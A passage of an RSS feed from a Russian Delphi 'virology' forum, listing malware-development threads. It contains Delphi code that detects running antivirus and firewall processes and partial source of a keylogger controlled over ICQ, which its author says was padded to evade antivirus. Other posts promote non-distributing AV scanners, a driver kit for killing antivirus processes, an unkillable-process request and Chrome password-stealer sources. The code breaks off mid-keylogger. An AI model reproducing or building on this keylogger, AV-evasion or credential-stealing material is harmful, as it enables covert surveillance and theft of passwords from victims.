			<pubDate>Thu, 01 Sep 2016 21:10:57 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 4</description>
			<content:encoded>&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;unit unitAvs; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;sysutils, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TLHelp32; &lt;br /&gt;&lt;br /&gt; const &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Procesos:&amp;nbsp;&amp;nbsp;array&amp;#91;0..15] of String = (&apos;avguard.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ashdisp.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;avgcc.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;bdss.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;spider.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;avp.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;nod32krn.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;cclaw.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;dvpapi.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ewidoctrl.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;mcshield.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;pavfires.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;almon.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ccapp.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;pccntmon.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;fssm32.exe&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;NombreDeAntivirus: array&amp;#91;0..15] of String =(&apos;AntiVir&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Avast Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;AVG Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;BitDefender&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Dr.Web&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Kaspersky Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Nod32&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Norman&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Authentium Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Ewido Security Suite&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;McAfee VirusScan&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Panda Antivirus/Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Sophos&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Symantec/Norton&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;PC-cillin Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;F-Secure&apos;&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Firewalls:&amp;nbsp;&amp;nbsp;array&amp;#91;0..14] of String =&amp;nbsp;&amp;nbsp;(&apos;issvc.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;vsmon.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;cpf.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ca.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;tnbutil.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;avp.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;mpfservice.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;npfmsg.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;outpost.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;tpsrv.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;pavfires.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;kpf4ss.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;persfw.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;vsserv.exe&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;smc.exe&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;NombreDeFirewall: array&amp;#91;0..14] Of string =(&apos;Norton Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ZoneAlarm&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Comodo Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;eTrust EZ Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;F-Secure Internet Security&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Kaspersky Antihacker&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;McAfee Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Norman Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Outpost Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Panda Internet Seciruty Suite&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Panda Anti-Virus/Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Kerio Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Tiny Personal Firewall&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;BitDefender / Bull Guard Antivirus&apos;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;Sygate Personal Firewall&apos;&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;function ObtenerAvs(&amp;#41;: String; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;function ObtenerFirewall(&amp;#41;: String; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; Function Scan(tipo: integer&amp;#41;: String; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;cLoop&amp;nbsp;&amp;nbsp;:Boolean; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CapProcesos:THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;L&amp;nbsp;&amp;nbsp;:TProcessEntry32; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i&amp;nbsp;&amp;nbsp;:integer; &lt;br /&gt; Begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := &apos;NO&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CapProcesos := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS or TH32CS_SNAPMODULE, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;L.dwSize := SizeOf(L&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;cLoop := Process32First(CapProcesos, L&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while cLoop do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if tipo = 1 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i := 0 to 15 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LowerCase(L.szExeFile&amp;#41; = Procesos&amp;#91;i] then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If Result = &apos;No&apos; then //Osea que no ha copiado nada a result &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := NombreDeAntivirus&amp;#91;i] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else //si es diferente de &apos;No encontrado&apos; es porque ya copi? un av antes &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + &apos; &amp;#92; &apos; + NombreDeAntivirus&amp;#91;i] //copie un separador y el otro antivirus &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if tipo = 2 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i := 0 to 14 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LowerCase(L.szExeFile&amp;#41; = Firewalls&amp;#91;i] then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Result = &apos;No encontrado&apos; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := NombreDeFirewall&amp;#91;i] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + &apos; &amp;#92; &apos; + NombreDeFirewall&amp;#91;i]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cLoop := Process32Next(CapProcesos, L&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(CapProcesos&amp;#41;; &lt;br /&gt; end;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Автор DeadLine</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>d4rkzy</dc:creator>
			<guid>https://delfcode.ru/forum/10-1413-1</guid>
		</item>
		<item>
			<title>Сканеры без отправки файла разработчикам АВ</title>
			<link>https://delfcode.ru/forum/10-1138-1</link>
			<pubDate>Thu, 01 Sep 2016 20:57:59 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 21</description>
			<content:encoded>&lt;!--BBhide--&gt;[NBe48iuY3W 100]&lt;span style=&quot;font-size:14pt;&quot;&gt;Список безопасных рабочих сканнеров&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;!--IMG1--&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/11/3306688.png&quot; align=&quot;&quot; /&gt;&lt;!--IMG1--&gt; &lt;a class=&quot;link&quot; href=&quot;http://u.to/gLNRBQ&quot; title=&quot;http://nodistribute.com&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color:#00FF00&quot;&gt;NoDistribute&lt;/span&gt;&lt;/a&gt; (бесплатно - 10 проверок в день, платно - без ограничений)&lt;br /&gt;&lt;!--IMG1--&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/11/3306688.png&quot; align=&quot;&quot; /&gt;&lt;!--IMG1--&gt; &lt;a class=&quot;link&quot; href=&quot;http://u.to/B7phBw&quot; title=&quot;http://avdetect.com&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color:#00FF00&quot;&gt;AVDetect&lt;/span&gt;&lt;/a&gt; (платно)&lt;br /&gt;&lt;br /&gt;Сканнеры с репутацией и проверенные временем. От себя добавлю: пользовался - сливов не заметил[/NBe48iuY3W]&lt;!--/BBhide--&gt;</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Anton93</dc:creator>
			<guid>https://delfcode.ru/forum/10-1138-1</guid>
		</item>
		<item>
			<title>Неубиваемый процесс</title>
			<link>https://delfcode.ru/forum/10-1179-1</link>
			<pubDate>Thu, 21 Jul 2016 14:30:58 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Драйвер или dll&lt;br /&gt;Автор темы: AdamasS-98&lt;br /&gt;Автор последнего сообщения: XSPY&lt;br /&gt;Количество ответов: 13</description>
			<content:encoded>Помогите написать драйвер в ring3 или ring0 чтобы нельзя было грохнуть на 64 бит</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>AdamasS-98</dc:creator>
			<guid>https://delfcode.ru/forum/10-1179-1</guid>
		</item>
		<item>
			<title>Delphi Driver Development Kit</title>
			<link>https://delfcode.ru/forum/10-1278-1</link>
			<pubDate>Sat, 04 Jun 2016 18:00:00 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: скачать&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Neo&lt;br /&gt;Количество ответов: 10</description>
			<content:encoded>Сегодня, когда антивирусы обросли эвристическими модулями, виртуальными машинами, и прочими продвинутыми технологиями, приходится использовать более дерзкие системы обхода/уничтожения защиты, а именно драйверы. &lt;br /&gt; Разрабатывать стоящий проект без своего драйвера, сегодня, уже не серьезно. &lt;br /&gt; Яркий тому пример - модуль самозащиты в вирусе Sality. Устанавливающий свой драйвер, который без проблем позволяет уничтожать процессы антивируса на уровне ядра. &lt;br /&gt;&lt;br /&gt; Так о чем я? Обычно те кто пишут на Delphi основную часть, им приходится писать драйвер на C или ASM. &lt;br /&gt; Ниже компилятор драйверов написанных на Delphi.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Anton93</dc:creator>
			<guid>https://delfcode.ru/forum/10-1278-1</guid>
		</item>
		<item>
			<title>Пароли chrome, yandex, mail, Comodo Dragon</title>
			<link>https://delfcode.ru/forum/10-1089-1</link>
			<pubDate>Tue, 10 May 2016 17:47:08 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: расшифровка&lt;br /&gt;Автор темы: ramzeswr&lt;br /&gt;Автор последнего сообщения: fesss&lt;br /&gt;Количество ответов: 10</description>
			<content:encoded>Сорцы, показывающие пример стилинга из Google Chrome. Именно расшифровывает пароли, а не грабит файлы.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>ramzeswr</dc:creator>
			<guid>https://delfcode.ru/forum/10-1089-1</guid>
		</item>
		<item>
			<title>Кейлогер с управлением по icq (по исходнику gravitas)</title>
			<link>https://delfcode.ru/forum/10-644-1</link>
			<pubDate>Tue, 29 Mar 2016 01:26:44 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Состряпал кейлогер, с просмотром логов по icq.&lt;br /&gt;Автор темы: link993&lt;br /&gt;Автор последнего сообщения: AligatorBkmz&lt;br /&gt;Количество ответов: 4</description>
			<content:encoded>Я думаю исходник этого будет полезен некоторым пользвателям. За основу взят VCL кейлогер gravitas,a. На сайте есть исходники кейлогера. На форму положил календарь чтоб антивирусы не орали ( не работает ). Также взял баг dolphin,a с именем программы. &lt;br /&gt;&lt;br /&gt; Описание тут: &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler73j88f&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler73j88f&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler73j88f&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler73j88f&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler73j88f&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler73j88f&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler73j88f&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler73j88f&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler73j88f&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;http://www.securelist.com/ru/descriptions/31684358/Backdoor.Win32.VanBot.dzo&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt;&lt;br /&gt; Код: &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;unit Unit1; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dialogs, StdCtrls, ExtCtrls, Registry, ICQClient; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TForm1 = class(TForm&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Timer1: TTimer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Memo1: TMemo; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ICQClient1: TICQClient; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Timer1Timer(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure FormCreate(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Private declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Public declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Form1: TForm1; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; {$R *.dfm} &lt;br /&gt;&lt;br /&gt; procedure TForm1.Timer1Timer(Sender: TObject&amp;#41;; &lt;br /&gt; begin &lt;br /&gt; if getasynckeystate($10&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;S]&apos;; &lt;br /&gt; if getasynckeystate($1b&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;esc]&apos;; &lt;br /&gt; if getasynckeystate($20&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos; &apos;; &lt;br /&gt; if getasynckeystate($2e&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;delete]&apos;; &lt;br /&gt; if getasynckeystate($41&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;a&apos;; &lt;br /&gt; if getasynckeystate($42&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;b&apos;; &lt;br /&gt; if getasynckeystate($43&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;c&apos;; &lt;br /&gt; if getasynckeystate($44&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;d&apos;; &lt;br /&gt; if getasynckeystate($45&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;e&apos;; &lt;br /&gt; if getasynckeystate($46&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;f&apos;; &lt;br /&gt; if getasynckeystate($47&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;g&apos;; &lt;br /&gt; if getasynckeystate($48&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;h&apos;; &lt;br /&gt; if getasynckeystate($49&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;i&apos;; &lt;br /&gt; if getasynckeystate($4b&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;k&apos;; &lt;br /&gt; if getasynckeystate($4c&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;l&apos;; &lt;br /&gt; if getasynckeystate($4d&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;m&apos;; &lt;br /&gt; if getasynckeystate($4e&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;n&apos;; &lt;br /&gt; if getasynckeystate($4f&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;o&apos;; 